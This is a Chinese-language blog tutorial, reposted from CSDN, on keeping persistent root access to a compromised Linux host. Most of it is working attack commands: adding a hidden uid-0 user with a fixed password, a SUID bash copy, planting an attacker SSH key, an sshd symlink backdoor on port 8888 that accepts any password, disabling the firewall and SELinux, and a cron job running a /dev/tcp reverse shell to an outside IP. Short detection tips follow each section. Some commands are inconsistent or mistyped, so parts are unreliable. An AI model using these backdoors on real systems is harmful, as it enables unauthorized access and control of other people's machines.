Linux权限维持 - Go语言中文社区

Linux权限维持


Linux权限维持

一.一句话添加用户和密码(第一种最基础,也最可能被利用)

创建一个用户名chaosec,密码为123456的普通用户

useradd -p `openssl passwd -1 -salt 'salt' 123456` chao1

在这里插入图片描述useradd -p方法 `` 是用来存放可执行的系统命令,“$()”也可以存放命令执行语句

useradd -p "$(openssl passwd -1 123456)" chao2

在这里插入图片描述chpasswd方法

useradd chao4;echo 'chao4:123456'|chpasswd

在这里插入图片描述echo -e方法

useradd chao5;echo -e "123456n123456n" |passwd chao5

在这里插入图片描述2.添加root用户

useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

在这里插入图片描述3.可疑用户排查(awk,sed安全运维使用的比较多)
查询特权用户特权用户(uid为0)

awk -F: '$3==0{print $1}' /etc/passw 

在这里插入图片描述## 查询可以远程登录的账号信息

awk '/$1|$6/{print $1}' /etc/shadow

在这里插入图片描述除root账号外,其他账号是否存在sudo权限。如非管理需要,普通账号应删除duo权限

more /etc/sudoers |grep -v "^#|^$" |grep "ALL=(ALL)"

在这里插入图片描述

二. suid shell

首先我们模拟一个拿到root 权限的shell
然后将他的/bin/bash文件进行复制到/tmp/shell并且赋予权限

cp /bin/bash /tmp/shell
chmod u+s /tmp/shell //注意:tmp文件夹下边的东西是开机就会删除的

在这里插入图片描述之后再创建一个普通用户
在这里插入图片描述切换这个普通用户
进行提权

/tmp/shell -p

在这里插入图片描述排查技巧:
在Linux中查找SUID设置的文件 find . -perm /4000 # 在Linux中查找使用SGID设置的文件 find . -perm /2000 # 取消s权限 chmod u-s /tmp/shell

三.ssh权限维持

介绍描述:
在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。

首先在windows中
生成一对公私钥(三次回车即可)

ssh-keygen -t rsa

在这里插入图片描述公钥路径:C:Users27843/.ssh/id_rsa.pub.
在这里插入图片描述
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/PFmrMbInWtZX2hbGPSTETtWjZ3WLyGYOd+O6ytRfKWAy1VcovKqifbMMuTL/+fhNep8tJ1b4nC1Qc+ZRN52QY64rpPbMPYrTTbSpYv1AScJB8bhkjns+o4OITDTHrpG5WZL8r2YJXVtwfSq2kgJUlsPPCHHwg/BjbB+btjJS0sYLxOwOtyzJg/WTKvKi9gndfLNMqn0UHUZz9JfFR+m56x/Z29LzXZzIC7Bbcpqu2JG0BwkMWD/sc4SVMF/ff+E9BNIMVoHLfJ9G9Fo0Q27CR32hqWjF7HQ8usLDGf3lwuCbvwI7Ur8dtNL9XIYzuh7GXWY8VaIRfiZxrIcrpbOf 27843@DESKTOP-019VT8P

将公钥复制下来,然后我们模拟提权成功了一个root权限的shell

我们用ssh远程连接win10连接centos客户机
之后再在root目录下创建一个
mkdir .ssh
touch authorized_keys
然后再用重定向进行将公钥写入
echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/PFmrMbInWtZX2hbGPSTETtWjZ3WLyGYOd+O6ytRfKWAy1VcovKqifbMMuTL/+fhNep8tJ1b4nC1Qc+ZRN52QY64rpPbMPYrTTbSpYv1AScJB8bhkjns+o4OITDTHrpG5WZL8r2YJXVtwfSq2kgJUlsPPCHHwg/BjbB+btjJS0sYLxOwOtyzJg/WTKvKi9gndfLNMqn0UHUZz9JfFR+m56x/Z29LzXZzIC7Bbcpqu2JG0BwkMWD/sc4SVMF/ff+E9BNIMVoHLfJ9G9Fo0Q27CR32hqWjF7HQ8usLDGf3lwuCbvwI7Ur8dtNL9XIYzuh7GXWY8VaIRfiZxrIcrpbOf 27843@DESKTOP-019VT8P” >>authorized_keys

然后退出之后验证
ssh root@192.168.43.229
在这里插入图片描述描述:
其中 id_rsa为私钥,id_rsa.pub为公钥,接下来打开id_rsa.pub,将内容复制到服务器。将id_rsa.pub的内容追加到/root/.ssh/authorized_keys内,配置完成。
排查技巧:查看/root/.ssh/authorized_keys是否被修改。

四.软连接

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

-s :创建一个软连接
-f: 指定一个文件
-o: 输出到,
ls /tmp/su
查看是否存在这个软连接
netstat -anptu | grep 8888
然后在进行验证
ssh root@192.168.0.104 -p 8888
随便乱输就可以
操作:
首先创建一个软连接
在这里插入图片描述发现创建成功
我们再看一下8888端口是否开放
发现正常
在这里插入图片描述
将防火墙关闭

systemctl stop firewalld

关闭selinux

vim /etc/sysconfig/selinux

在这里插入图片描述我们进行验证

ssh root@ip -p 8888

在这里插入图片描述发现可以直接输乱错密码就可以进行登录成功(不需要正确得密码)

排查技巧:进程、端口都可以发现异常, kill -s 9 PID 结束进程即可清除后门。

ps aux|grep su 或者ps aux|grep 8888

在这里插入图片描述之后再用kill -9进行杀死进程

五.crontab反弹shell

1.首先在/etc/创建一个shell脚本
vim /etc/eval.sh
在这里插入图片描述
写入反弹shell的脚本

#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345  0>&1

再赋予权限
chmod +sx /etc/evil.sh
2.再创建一个新的计划任务
第一种

crontab -e

要放到最后一行
#每一分钟执行一次

*/1 * * * * root /etc/shell.sh

按ctrl+x离开,系统会自动提示你保存不保存—》保存
在这里插入图片描述在这里插入图片描述
保存退出,之后再重启
ctrl+w
ctrl+s 离开(保存)
上一个不可行
第二种

vim /etc/crontab 

添加上

*/1 * * * * root /etc/shell.sh

在这里插入图片描述3、重启计划任务

systemctl restart crond

4.开启监听

lvvp -12345

在这里插入图片描述发现成功拿到shell
第一种方法不可以
第二种方法可以
排查技巧:

查看可疑的定时任务列表

crontab -e

六、mafix权限维持(适用于 老版本)

参考连接
说实话没怎么懂
https://kfi.re/555.html
在这里插入图片描述

版权声明:本文来源CSDN,感谢博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/qq_46527080/article/details/113481727
站方申明:本站部分内容来自社区用户分享,若涉及侵权,请联系站方删除。

0 条评论

请先 登录 后评论

官方社群

GO教程

猜你喜欢